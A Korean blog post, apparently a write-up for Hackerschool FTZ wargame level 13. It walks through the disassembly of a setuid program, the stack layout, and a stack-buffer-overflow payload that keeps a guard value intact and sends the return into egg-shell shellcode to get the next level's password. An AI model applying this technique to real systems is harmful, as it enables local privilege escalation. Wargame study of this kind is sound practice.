티스토리 뷰
Hackershcool level13 = )
해커스쿨 FTZ 레벨13 [BOF]
이번 문제는 11, 12번과 역시 같은 구조이지만 변수 i의 값이 0x1234567이 아니라면 메시지 출력 후 프로그램이 종료되어버리는 특징이 있다. 따라서 이번에는 변수 i 부분에는 01234567이라는 값을 넣어주고 나머지 부분은 dummy로 오버플로우 시켜서 ret값에 도달하면 된다.
버퍼1 + \x67\x45\x23\x01 + 버퍼2 + ebp + Ret 과 같은 구조로 코드를 구성해야하기 때문에 변수 i까지의 거리를 구해야한다.
0x080484a0 <main+0>: push %ebp
0x080484a1 <main+1>: mov %esp,%ebp
0x080484a3 <main+3>: sub $0x418,%esp
0x080484a9 <main+9>: movl $0x1234567,0xfffffff4(%ebp)
0x080484b0 <main+16>: sub $0x8,%esp
0x080484b3 <main+19>: push $0xc16
0x080484b8 <main+24>: push $0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add $0x10,%esp
0x080484c5 <main+37>: cmpl $0x1,0x8(%ebp)
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub $0x8,%esp
0x080484ce <main+46>: mov 0xc(%ebp),%eax
0x080484d1 <main+49>: add $0x4,%eax
0x080484d4 <main+52>: pushl (%eax)
0x080484d6 <main+54>: lea 0xfffffbe8(%ebp),%eax
0x080484dc <main+60>: push %eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add $0x10,%esp
0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp)
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub $0xc,%esp
0x080484f1 <main+81>: push $0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add $0x10,%esp
0x080484fe <main+94>: sub $0x8,%esp
0x08048501 <main+97>: push $0xb
0x08048503 <main+99>: push $0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add $0x10,%esp
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
위의 코드를 보면 main+3에서 1048바이트만큼 Buffer 공간을 할당해주고 있고 main+9, 54, 60, 61에서는 1234567이라는 값을 ebp-12번째에 넣어야 한다는 것을 알 수 있다.
Ret = Egg Shell | |
ebp = 4byte | |
Buffer = 1048byte |
Buf ① = 8byte |
0x1234567 = 4byte | |
Buf ② = 1036byte |
좌측의 표와 같이 스택이 구성되었고 공격 코드는 A*1036, \x67\x45\x23\x01, A*12, RET와 같은 구조로 짤 수 있다.
그 결과 성공적으로 Level14의 Password를 얻어낼 수 있었다.
'Tech' 카테고리의 다른 글
해커스쿨 Level15 (648) | 2013.03.30 |
---|---|
해커스쿨 Level14 (2104) | 2013.03.29 |
해커스쿨 Level12 (259) | 2013.03.27 |
에그쉘 소스(Eggshell code) (780) | 2013.03.26 |
해커스쿨 Level11 (977) | 2013.03.25 |
- Total
- Today
- Yesterday
- Sublime Text 2
- 자바스크립트
- CK Exploit Kit
- 문제풀이
- www
- DoH
- CloudFlare
- 티스토리
- python
- 프로그래밍 언어
- 웨일브라우저
- 악성코드
- 파이썬
- 개발
- 사이버테러
- 웹
- 분석
- CODEGATE 2014
- TISTORY
- exploit
- network
- 프로그래밍
- DNSOverHTTPS
- 해커스쿨
- BOF
- writeup
- hackerschool
- Wargame
- FTZ
- 스크립트
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |